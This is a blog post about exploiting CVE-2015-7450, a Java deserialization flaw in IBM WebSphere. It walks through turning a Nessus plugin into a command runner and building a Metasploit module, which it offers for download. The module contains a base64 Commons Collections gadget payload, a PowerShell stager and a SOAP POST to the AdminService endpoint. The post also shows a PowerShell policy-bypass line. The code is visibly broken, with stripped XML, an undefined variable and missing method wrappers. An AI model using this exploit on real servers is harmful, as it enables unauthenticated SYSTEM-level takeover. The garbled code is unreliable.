IBM WebSphere Java Deserialization (RCE) - Metasploit Module

Date: March 4, 2017

What if Domain Access has been gained and you have reached your goal in an Internal / External Penetration Test; every possible vulnerability must be checked, verified and reported if it's exploitable or not.

As Nessus it's my preferred Vulnerability Scanner it has been fired up in order to find any potential vulnerabilities. Reviewing any information that Nessus reported I came across with a well known vulnerability on IBM's WebSphere Application Server.

What Nessus Reported

Nessus reported that the following critical vulnerability exists on IBM's WAS application and was able to exploit a Java deserialization by sending a crafted Java object

Vulnerability Information

CVE ID: CVE-2015-7450
Description: Serialized-object interfaces in certain IBM analytics, business solutions, cognitive, IT infrastructure, and mobile and social products allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the InvokerTransformer class in the Apache Commons Collections library.
Further Information:


Nessus Analysis

As it was second time to me that the above vulnerability was reported by Nessus I was very curious how Nessus was able to exploit it and what if I can repeate it and take advantage of it. Plugin's ID is: 87171 so I performed a quick grep action in order to find the full name of it and proceed to analysis.

Responsible Plugin 'name: id'

Nessus uses NASL(Nessus Attack Scripting Language) as scripting language therefore it is simple and very easy to be used. Additional information and examples how nasl tool can be run/used you can find here.

Plugin's nasl code is quite simple. At first performs an "Information Gathering" about the host's OS and then a request on the default port(8880) where WAS application is listening.

Intercepting the communication path we expect to see the following SOAP response.

The following nasl code lines do exactly what it says. An ICMP echo request will be performed depending on the host's OS that the vulnerable application exists. In our case WAS application has been installed on a Windows Server 2008 R2, so the following ping command will be executed.

ping -n 10
where is the host where Nessus has been installed.

The rest of the code is the hard part as it builds a proper SOAP request encapsulating the arbitrary ping command and then performs a POST action to the referring target.

The tricky part comes to the lines where the ping action is called. Thinking about that I was very curious what if instead of ping request perform my own action, something like calling the cmd.exe process without any further argument, at least for now 😉. So let's modify the above mentioned part of the code to something like this.

								# if("windows" >< tolower(os)) ping_cmd = "ping -n 10 ";
								# else ping_cmd = "ping -c 10 -p " + string(id_tag) + " ";
								rce_cmd = "cmd.exe";
								# ping_cmd += this_host();
								ping_cmd = rce_cmd;

I comment in the if_else statement as I have already perform OS fingerprinting and the remote host runs under Windows Server 2008 R2. Leaving the rest of the code as it is I launched Nasl tool and waiting for the cmd process to start on the remote system. At this point I would like to say a huge thanks to Alexios Dimitriadis as he found after a lot of research an amazing way how nasl will be properly executed.

Note: It's worth to be mentioned that during the execution of the script the following verbose messages may be appear in case audit-trail option added. Script reported that port 8880 is not affected but in that case is a false-positive message as nasl script waits for a ping request back in order to verify the existence of the vulnerability.

Checking alonsgide the script execution the current processes of target's machine, the desired and lovely cmd.exe process started under java.exe and it runs also with System privileges like as the Java Platform.

Interacting with Metasploit

Parsing Web-Delivery Payload

At this point I tried to follow an easy approach in order to verify if the use of powershell code could be possible for further exploitation, so I embedded in nasl script the following powershell code lines.

								rce_cmd = "powershell.exe -nop -ep bypass -c ping";

Everything worked like a charm and Nessus verified once more that the exploitation succeed as I performed a ping action back to my host machine.

The first thing that came to my mind was to fire up the metasploit using the web_delivery module and parsing the output to the nasl script. And that happened as a nice and fully staged session returned back.

Metasploit Web Delivery module

Creating Metasploit module

As I wanted to hav... Sorry.. my apologies!!

I would like to thank Kypriano Vasilopoulo or in other words my mentor who guide me through all this in order to be able to implement and verify the integrity and the reliability of metasploit module.

As I wanted to have a fully compatible independent code that can be used in order to exploit a vulnerable host I started creating my own metasploit module.

Please feel free to download it or use it in case you are facing the above vulnerability until

Module released on Metasploit master repo.

Metasploit Ruby Code

								# This module requires Metasploit:
								# Current source:

								require 'msf/core'

								class MetasploitModule < Msf::Exploit::Remote
								  Rank = ExcellentRanking

								  include Msf::Exploit::Remote::HttpClient
								  include Msf::Exploit::Powershell

								  def initialize(info={})
								      'Name'           => "IBM WebSphere RCE Java Deserialization Vulnerability",
								      'Description'    => %q{
								        This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization
								        call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows
								        remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability.
								      'License'        => MSF_LICENSE,
								      'Author'         =>
								            'Liatsis Fotios @liatsisfotios'       # Metasploit Module

								            # Thanks for helping me:
								            # # # # # # # # # # # #

								            # Kyprianos Vasilopoulos @kavasilo    # Implemented and reviewed - Metasploit module
								            # Dimitriadis Alexios @AlxDm_         # Assistance and code check
								            # Kotsiopoulos Panagiotis             # Guidance about Size and Buffer implementation
								      'References'     =>
								            ['CVE', '2015-7450'],
								            ['URL', ''],
								            ['URL', ''],
								            ['URL', '']
								      'Platform'       => 'win',
								      'Targets'        =>
								            [ 'IBM WebSphere', {} ]
								      'DisclosureDate' => "Nov 6 2015",
								      'DefaultTarget'  => 0,
								      'DefaultOptions' => {
								            'SSL'      => true,
								            'WfsDelay' => 20

				'TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']),
								    ], self.class)

								  def exploit
								      # Decode - Generate - Set Payload / Send SOAP Request

								  def set_payload
								      # CommonCollections1 Serialized Streams
								      ccs_start = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQ="

								      # Generate Payload
								      payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end)
								      payload_exec = Rex::Text.encode_base64(payload_exec)

								  def invoke_ccs(serialized_stream)
								      # Decode Serialized Streams
								      serialized_stream = Rex::Text.decode_base64(serialized_stream)

								  def gen_payload
								      # Staging Native Payload
								      exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
								      exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "")

								      # Size up RCE - Buffer
								      cmd_lng = exec_cmd.length
								      lng2str = "0" + cmd_lng.to_s(16)
								      buff = [lng2str].pack("H*")

								      rce_pld = buff + exec_cmd

								  def soap_request(inject_payload)
								      # SOAP Request
								      req = "" + "\r\n"
								      req += "" + "\r\n"
								      req += "" + "\r\n"
								      req += "BasicAuth" + "\r\n"
								      req += "" + "\r\n"
								      req += "" + "\r\n"
								      req += "" + "\r\n"
								      req += "" + inject_payload + "" + "\r\n"
								      req += "ringBufferSize" + "\r\n"
								      req += "" + "\r\n"
								      req += "" + "\r\n"
								      req += "" + "\r\n"

								      uri = target_uri.path

								      res = send_request_raw({
								          'method'      => 'POST',
								          'version'     => '1.1',
								          'raw_headers' => "Content-Type: text/xml; charset=utf-8" + "\r\n" + "SOAPAction: \"urn:AdminService\"" + "\r\n",
								          'uri'         => normalize_uri(uri),
								          'data'        => req


Just a quick-Demo